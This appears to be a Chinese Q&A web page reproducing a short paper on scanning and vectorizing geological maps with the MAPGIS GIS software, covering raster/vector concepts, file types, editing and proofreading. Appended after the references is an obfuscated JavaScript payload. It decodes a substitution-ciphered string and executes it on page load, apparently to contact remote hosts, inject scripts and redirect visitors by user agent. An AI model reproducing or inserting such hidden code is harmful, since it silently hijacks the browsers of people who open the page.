矢量化及MAPGIS相关技术

2024-11-18 22:30:00
推荐回答(1个)
回答1:

秦爽 李进化

(河南省地质博物馆,郑州450016)

摘要 地质图件的矢量化,是解决地质图件数字化瓶颈难题的必然途径,随着计算机与信息技术的迅速发展,数字化成图方式已被广泛应用,基于数字化地质图的机助编绘势在必行。本文从扫描矢量化的实际出发,从MAPGIS的基础准备到具体操作等环节进行了分析,并结合了本人工作实践,得出利用MAPGIS矢量化图像的几点体会。

关键词 扫描;矢量化;栅格图像;矢量图形;MAPGIS;编辑;数字化

对于原有地质资料进行矢量化管理已成为趋势。对图件数字化不外乎两种方法,一种是利用数字化仪进行数字化,误差来源定向误差,采集误差等,这种方法在20世纪80、90年代曾流行一时,但由于投资较大,误差较高,很少有人再使用;另一种方法是将图件扫描成栅格图像,并利用光栅矢量混合编辑软件如MAPGIS、GTX、AutoCAD Overlay等来转变成矢量数字图形。

1 扫描矢量化的基本概念

(1)数字化。数字化是指把图形、文字等模拟信息转换成为计算机能够识别、处理、贮存的数字信息的过程。

(2)矢量化。矢量化是指把栅格数据转换成矢量数据的过程。

(3)光栅化。光栅化是指把矢量数据转换成栅格数据的过程。

(4)栅格图像。也称光栅图像,是指在空间和亮度上都已经离散化了的图像。我们可以把一幅栅格图像考虑为一个矩阵,矩阵中的任一元素对应于图像中的一个点,而相应的值对应于该点的灰度级,数字矩阵中的元素叫做像素。数字图像与马赛克拼图相似,是由一系列像素组成的矩形图案,如果所有的像素有且仅有两个灰度级(黑或白),则称其为二值图像,即位图;否者称其为灰度图像或彩色图像。

(5)矢量图形。在介绍矢量图形之前,我们首先阐述矢量对象的概念。矢量对象是以矢量的形式,即用方向和大小来综合表示目标的形式描述的对象。例如画面上的一段直线,一个矩形,一个点,一个圆,一个填充的封闭区域等。矢量图形文件就是由这些矢量对象组合而成的描述性文件。矢量图形则是计算机软件通过一定算法,将矢量对象的描述信息在显示终端上重绘的结果。

纸质地图经扫描仪扫描后,初步保存为栅格图像(常见的格式有TIFF、BMP、PCX、JPEG等)。栅格图像在地理应用领域有着这样的缺陷:首先,栅格图像文件对图像的每一像素点(不管前景或背景像素)都要保存,所以其存储量特别大。另外,我们不能对图像上的任一对象(曲线、文字或符号)进行属性修改、拷贝、移动及删除等图形编辑操作,更不能进行拓扑求解,只能对某个矩形区域内的所有像素同时进行图像编辑操作。此外,当图像进行放大或缩小显示时,图像信息会发生失真,特别是放大时图像目标的边界会发生阶梯效应,正如点阵汉字放大显示发生阶梯效应的原理一样。

而矢量图形则不同。在矢量图形中每个目标均为单个矢量单位(点、线、面)或多个矢量单位的结合体。基于这样的数据结构,我们便可以很方便地在地图上编辑各个地物,将地物归类,以及求解各地物之间的空间关系。并有利于地图的浏览、输出。矢量化则是利用数字图像处理算法,将源图上的各种栅格阵列识别为矢量对象,最后以一定格式保存的过程。矢量图形在工业、制图业、土地利用部门等行业都有广泛的应用。在这些领域的许多成功软件都基于矢量图形,或离不开矢量图形的参与,如MAPGIS、AutoCAD、ARC/INFO、Corel Draw、GeoStar等等。

随着计算机科学、地理学、制图学、遥感与摄影测量学、图形图像技术以及数据库技术的不断发展,地理信息系统已成为一种功能强大、性能完善的计算机系统,广泛应用于规划、土地、测绘、建设、环保、军事等诸多部门,成为政府部门进行科学管理和快速决策时不可或缺的工具。而各具特点的 GIS和制图应用软件也给社会用户提供更大的选择性。MAP GIS作为较早发展起来的国产 GIS软件,国内拥有一定数量的用户。

由中国地质大学开发的MAP GIS是一个具有国际先进水平的地理信息系统,它分为“图形处理”、“库管理”、“空间分析”、“图像处理”及“实用服务”5大部分,共计21个子系统。使用时,用户根据自己的不同需要,随机选择各个子系统。

2 MAPGIS 扫描矢量化输入

扫描矢量化,通过扫描仪输入扫描图像,然后通过矢量追踪,确定实体的空间位置。对于高质量的原资料,扫描是一种省时、高效的数据输入方式。MAPGIS扫描矢量化的主要功能有:

图像格式转换功能——系统可接受扫描仪输入的TIFF栅格数据格式,并将其转换为MAPGIS系统的标准RBM格式。

矢量跟踪导向功能——可对整个图形进行全方位游览,任意缩放,自动调整矢量化时的窗口位置,以保证矢量化的导向光标始终处在屏幕中央。在多灰度级图像上跟踪线划时,保证跟踪中心线。

多种矢量化处理功能——系统提供了交互式手动、半自动、细化全自动和非细化全自动矢量化方式,同时提供了全图矢量化和窗口内矢量化功能,供用户选择。

自动识别功能——系统应用人工智能及模式识别的技术,在我国率先成功地实现灰度扫描地图矢量化和彩色扫描地图矢量化,克服了二值扫描地图矢量化的致命弱点,使之彩色地图可达全要素一次性矢量化。

编辑校正功能——系统提供了对矢量化后的图元(包括点图元和线图元),进行编辑、修改等功能,可随时进行任意大小比例的显示,便于校对;对汉字、图符等特殊图元,可直接调用系统库,根据给定的参数,自动输入生成。

3 MAPGIS 的基本概念

MAP GIS把地图数据根据基本形状分为三类:点数据,线数据和区数据(亦即面数据)。与之相对应,文件的基本类型也分为三类:点文件(∗.WT),线文件(∗.WL)和区文件(∗.WP)。只有包括所有地图数据的三类文件都叠加起来时,才构成一幅完整的地图。

3.1 点

点是地图数据中点状物的统称,是由一个控制点决定其位置的符号或注释。它不是一个简单的点,而是包括各种注释(英文、汉字、阿拉伯数字等)和专用符号(包括圆、弧、直线、五角星、亭子等各类符号)。它与线编辑中“线上加点”的点的概念不同,“线上加点”的点是坐标点。所有的点图元数据都保存在点文件中(∗.WT)。

3.2 线

线是地图中线状物的统称。MAP GIS将各种线型(如点划线、省界、国界、等高线、路、河堤)以线为单位作为线图元来编辑。所有的线图元数据都保存在线文件中(∗.WL)。

3.3 区

区通常也称面,它是由首尾相连的弧段组成封闭图形,并以颜色和花纹图案填充封闭图形所形成的一个区域。如湖泊、居民地等。所有的区图元数据都保存在区文件中(∗.WP)。

3.4 图层

在GIS的应用中,同一文件中有多种类型的地理要素。如一个线文件中可能包括等高线、公路、铁路、河流等多种类型的线。为了便于编辑和管理,一般情况下,可以把同一类型的地理要素放到同一图层,例如:将所有的铁路线都放到铁路图层,而把所有的等高线都存放到等高线图层,这样所有的图层都叠加起来就构成了一个完整的线文件。特殊情况下,一个图层也可存为一个单独的文件。

3.5 工程

一个工程由一个或一个以上的点文件、一个或一个以上的线文件和一个或一个以上的区文件组成。

3.6 编辑处理

数据输入计算机后,就要进入图形编辑、数据校正、图廓整饰、邻图接边、误差消除等项工作。由MAP GIS图形编辑子系统、拓扑结构编辑子系统、错误检查和数据校正等子系统来完成上述各项编辑处理任务。

3.7 颜色设计

颜色是地学图表现的一种重要要素,它直接影响地学图的表现力和图面效果。因此,地学图对颜色的要求是非常严格的。MAP GIS对地学图作了颜色的要求,在分析了地学图印刷特点的基础上,设计了一套灵活、方便、精确的颜色定义和色标系统。

3.8 图形输出

图形输出是MAP GIS系统中最后一道工序,通常是把显示所需的图形数据,经过分析、处理、编辑、用色、自检、误差消除等,在基本符合要求后,用彩色喷墨绘图仪输出彩色样图,对彩色样图进行校对和系统质量检查。

4 利用 MAPGIS 矢量化图像的几点体会

在MAP GIS软件使用过程中,制图单位经常会遇到这样或那样棘手的问题,针对这类问题,通过查阅MAP GIS参考手册并总结计算机制图工作经验,得出了以下利用MAP GIS绘制地质图件的几点体会,以供同行参考。

4.1 扫描数字化的图件,可以直接用于MAPGIS 矢量化

我们扫描图字化的图件,有黑白二值、灰度和彩色(RGB模式)三种格式,MAP GIS正好支持这三种格式的TIF光栅文件(∗.TIF),可以在PHOTOSHOP中打开此光栅文件,另存为TIF文件即可。

4.2 编辑

作为地质图编辑者来说,不仅应有相关的专业技术能力,而且还要有一定的野外工作经验,美术特长和认真负责的态度,按照国家标准、行业规范进行编辑处理。在图形输入之前,编辑者必须对原图进行全面阅读,了解图面内容,查看平面图、图切剖面、图例、文字、地质事件、模式图等是否合理和吻合。对地形图编辑时,必须增加补充现势性资料,如三角点、公路、铁路、河流、湖泊、水库、居民地及注记等。然后,对图件的各项内容先进行错误消除,按地学图制作要求,设计版面,按规范设置字体、字号、图面整饰、设色方案等,这些都与编辑者密切相关。

4.3 校对

校对是一项反复的系统工程,又是出版物的一个重要环节,一般需经过多次校对,才可能消除存在的错误,保证其质量。地质图虽然在MAP GIS系统下经过编辑和处理,往往还不能达到理想效果。那么,必须通过彩色喷墨绘图仪输出彩色样图(或素图),进行一校、二校及质量检查。在检查过程中发现的缺陷,应及时处理,使图件规范化、标准化,弥补编图者之不足,达到最佳效果。

值得注意的是:从彩色喷墨绘图仪输出的颜色和色标存在着一定的差异(水性颜色与油性油墨之间的差别),胶版纸和铜版纸纸质纤维、亮度的差别,只要按地质图用色标准确定色号,印刷成品的颜色和色标颜色基本是一致的。

5 结束语

在扫描数字化的基础上,对原有地质资料进行矢量化。MAP GIS作为一套优秀的地理信息系统软件,应用在很多行业中。我们可以通过MAP GIS的“输入编辑”模块,在地形图或其他扫描后的栅格图件上采集数据,矢量化,形成完整的点、线、面文件,结果或者出图打印,或者进行各种应用分析,这是我们的发展趋势。

参考文献

[1]秦爽,李进化.普查地图编制.北京:测绘出版社.1982.

[2]秦爽,李进化.计算机地图制图.北京:测绘出版社.1991.

[3]第四届全国地质档案资料学术研讨会文集.北京:海洋出版社.2004.

[4]杨公之主编.档案信息化建设实务.北京:中国档案出版社.2003.

[5]董国臣,郝国杰,陈达,等.GIS在1:5万榆关镇幅区域地质调查中的应用[J].中国区域地质,1998,17(4).

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();